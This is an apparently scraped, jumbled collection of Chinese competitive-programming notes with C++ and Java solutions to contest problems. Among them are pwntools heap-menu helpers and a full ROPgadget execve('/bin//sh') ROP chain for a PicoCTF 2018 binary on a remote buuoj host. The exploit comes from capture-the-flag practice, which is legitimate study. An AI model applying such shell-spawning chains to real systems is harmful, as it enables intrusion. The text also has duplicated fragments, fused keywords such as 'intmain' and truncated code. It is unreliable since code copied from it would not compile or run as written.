defalloc(size,content): p.recvuntil("Your choice:") p.sendline(str(2)) p.recvuntil("length of item name:") p.sendline(str(size)) p.recvuntil("name of item:") p.sendline(content)
defchange(idx,content): p.recvuntil("Your choice:") p.sendline(str(3)) p.recvuntil("index of item:") p.sendline(str(idx)) p.recvuntil("length of item name:") p.sendline(str(len(content))) p.recvuntil("new name of the item:") p.sendline(content)
deffree(idx): p.recvuntil("Your choice:") p.sendline(str(4)) p.recvuntil("index of item:") p.sendline(str(idx))
defalloc(size,content): p.recvuntil("Your choice:") p.sendline(str(2)) p.recvuntil("length of item name:") p.sendline(str(size)) p.recvuntil("name of item:") p.sendline(content)
defchange(idx,content): p.recvuntil("Your choice:") p.sendline(str(3)) p.recvuntil("index of item:") p.sendline(str(idx)) p.recvuntil("length of item name:") p.sendline(str(len(content))) p.recvuntil("new name of the item:") p.sendline(content)
deffree(idx): p.recvuntil("Your choice:") p.sendline(str(4)) p.recvuntil("index of item:") p.sendline(str(idx))
int vis[30];//存放某一字符(下标) 对应 转换的字符[存的只是1234...] unordered_map<string,int> id;//存放某类字符串,,,是否出现过 int tot;//存放出现过的字符类的数目 constint N = 1e5;//数组初始化,必须是const vector<int> e[N];//存放的是,对应类字符串的下标
stringtran(string s){ memset(vis,-1,sizeof(vis)); int len = s.size(); int cnt = -1;//从a开始轮到的字符 for (int i = 0; i < len; ++i) { if(vis[s[i] - 'a'] == -1){//该字符串还没转换 vis[s[i] - 'a'] = ++cnt; } s[i] = vis[s[i] - 'a'] + 'a';//变成字符 } return s; }
int a[101];//因为输入的数最大为100,用一个100大小的空间即可 intmain(){ int T; cin>>T; while(T--){//测试数据的写法 int n;//数组长度 cin>>n; memset(a,0,sizeof(a));//必须置0,避免影响其他轮数的计算 for (int i = 1; i <= n; ++i) {//输入n组数据 int x; cin>>x; a[x]++;//用下标表示数字,用数组表示有几个。 } int ans = 0 ; for (int i = 1; i <= 50 ; ++i) { ans += a[i] * a[i*2];//好想法。。。 } cout<<ans<<endl; } return0; }
D 圆的交点
思维题,,哭哭,好嘛,我也想过,只不过没想明白 orz~~
思路
分为三种情况:
相邻的交点
两两相交,交点有两个
组合方式计算:
a.一排横着两两相交:a种
b.共有b+1排
故此情况为a*(b+1)
同理,纵向两两相交:b种,共有a+1排
故此情况共有交点:2*[a*(b+1)+b*(a+1)]
2.斜对面
这种情况,交点都在圆心处,,
相切
交点也都在圆心处,,,
所以,所有的圆心都是交点,也就是(a+1)*(b+1),也就是所有圆的个数
综上:所以最终答案为2*[a*(b+1)+b*(a+1)]+(a+1)*(b+1)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
// // Created by YCNN on 2021-03-22. // #include<bits/stdc++.h> usingnamespacestd; constlonglong mod = 1e9+7; intmain(){ int T; cin>>T; while(T--){ longlong a,b; cin>>a>>b; cout<<(2*( a*(b+1) + b*(a+1) ) + (a+1)*(b+1))%mod<<endl; } return0; }
#include<bits/stdc++.h> #define int long long usingnamespacestd;
constint N = 1e6+10; constint mod = 998244353; int a[N]; signedmain(){ int t; cin>>t; for (int i = 1; i <= 1e6; ++i) { a[i] = (a[i-1] + i*(2*i-1))%mod; } while(t--){ int n; cin>>n; cout<<a[n]<<endl; } return0; }
classSolution { public: /** * max sum of the subarray * @param arr int整型vector the array * @return int整型 */ intmaxsumofSubarray(vector<int>& arr){ if(arr.size()==1) return arr[0];//确定的情况,直接返回结果 int ans=0; for(int i=1;i<arr.size();i++){ arr[i]=max(arr[i],arr[i-1]+arr[i]);//求第i位的最大值 ans=max(ans,arr[i]);//求累计最大值 } return ans; } };
NC22 合并两个有序的数组
将b数组合并到a中,,,其实很简单,但是这个代码非常简介,,,使用—
exp
1 2 3 4 5 6 7 8 9 10 11 12
classSolution { public: voidmerge(int A[], int m, int B[], int n){ int i=m-1; int j=n-1; int index = m+n-1; while(i>=0 && j>=0) A[index--]=A[i]>B[j]?A[i--]:B[j--]; while(j>=0) A[index--]=B[j--]; } };
// // Created by YCNN on 2021-03-20. // #include<iostream> #include<vector> usingnamespacestd; classSolution{ public: vector<int> spiralOrder(vector<vector<int>> &matrix){ vector<int> res; if(matrix.empty()){ return res; } int up=0,down=matrix.size()-1; int l=0,r=matrix[0].size()-1;
while (1){ for (int i = l; i <= r ; ++i) res.push_back(matrix[up][i]); if(++up > down) break; for (int i = up; i <= down ; ++i) res.push_back(matrix[i][r]); if(--r < l) break; for (int i = r; i >= l ; --i) res.push_back(matrix[down][i]); if(--down < up) break; for (int i = down; i >= up ; --i) res.push_back(matrix[i][l]); if(++l > r) break; } return res; } };
intmain(){ vector<vector<int>> v = {{1,2,3},{4,5,6},{7,8,9}}; Solution s; vector<int> ans = s.spiralOrder(v); for (int i = 0; i < ans.size(); ++i) { cout<<ans[i]<<" "; } return0; }
import java.util.*; publicclassSolution{ publicbooleanisValid(String s){ // write code here boolean flag = true; while(flag){ int len = s.length(); s = s.replace("()",""); s = s.replace("{}",""); s = s.replace("[]",""); if(len == s.length()){ flag = false; } } return s.length() ==0; } }
for (int i = 0; i < a.size(); ++i) { for (int j = 0; j < a.size(); ++j) { int t=0; for (int k = 0; k < a.size(); ++k) { t += a[i][k] * b[k][j]; } res[i][j] = t; } }
#include<iostream> #include<vector> usingnamespacestd; classSolution{ public: vector<vector<int>> res(vector<vector<int>> &a,vector<vector<int>> &b){ vector<vector<int>> res(a.size(),vector<int>(a.size(),0)); for (int i = 0; i < a.size(); ++i) { for (int j = 0; j < a.size(); ++j) { int t=0; for (int k = 0; k < a.size(); ++k) { t += a[i][k] * b[k][j]; } res[i][j] = t; } } return res; } }; intmain(){ vector<vector<int>> v = {{1,2},{3,2}}; vector<vector<int>> v2 = {{3,4},{2,1}}; Solution s; vector<vector<int>> res = s.res(v,v2); for (int i = 0; i < res.size(); ++i) { for (int j = 0; j < res[0].size(); ++j) { cout<<res[i][j]<<" "; }cout<<endl; } return0; }
NC151 最大公约数
一个常用的求最大公约数的方法,记住他
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
classSolution { public: /** * 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可 * * 求出a、b的最大公约数。 * @param a int * @param b int * @return int */ intgcd(int a, int b){ // write code here if(a%b==0)return b; return gcd(b,a%b); } };
#!/usr/bin/env python2 # execve generated by ROPgadget from pwn import * from struct import pack
# io = process("./PicoCTF_2018_can-you-gets-me") io = remote("node3.buuoj.cn",26005) context.log_level = 'debug' # Padding goes here p = ''
p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b81c6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b81c6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de955) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0806cc25) # int 0x80
// // Created by YCNN on 2021-03-19. // #include<iostream> #include<cmath> usingnamespacestd; intmain(){ longlong ans = 1; for (int i = 2; i <= 13 ; ++i) { ans *= i; } cout<<ans<<endl;
#include<iostream> usingnamespacestd; intmain(){ int a,b; cin>>a>>b; int sum = 0; int len; for (int i = a,len=1; i <= b ; ++i,len++) { printf("%5d",i); sum += i; if(len % 5 ==0){ cout<<endl; len = 0; } } if((b-a+1)%5==0){ cout<<"Sum = "<<sum<<endl; } else{ cout<<"\nSum = "<<sum<<endl; }
return0; }
L1-009 N个数求和
首先计算分数加法公式:
然后计算结果分子分母的最大公约数,然后相除,得到最简分数
这里需要考虑的地方:
分母小于0 => 把符号换到分子上去
分子小于0,说明为0,为了方便后期的计算,将分母置为0,防止该数的影响
最后,根据能否整除,输出不同的结果。
scanf输入
这里使用scanf输入,,因为知道两个数字中间一定有一个/,可以简化,,,不用特意接受字符’/‘
最大公约数
固定格式:
1 2 3 4
//求最大公约数 intgcd(int a,int b){ return b == 0 ? a : gcd(b,a % b); }
#include<iostream> #include<string> usingnamespacestd; intmain(){ string a,b; int mark[256]; getline(cin,a); getline(cin,b); for (int i = 0; i < b.length() ; ++i) { mark[b[i]] = 1;//直接将字符串的ascii码作为数组下表 } for (int j = 0; j < a.length() ; ++j) { if(mark[a[j]] == 1){ continue; }else{ cout<<a[j]; } } return0; }
L1-012 计算指数
pow(底数,幂次)的结果是double型的,,,,不知道为什么不能强转到int,,,
就输出是f了
1 2 3 4 5 6 7 8 9 10 11 12 13
// // Created by YCNN on 2021-03-19. // #include<iostream> #include<cmath> usingnamespacestd; intmain(){ int n; cin>>n; printf("2^%d = %.f",n,pow(2,n));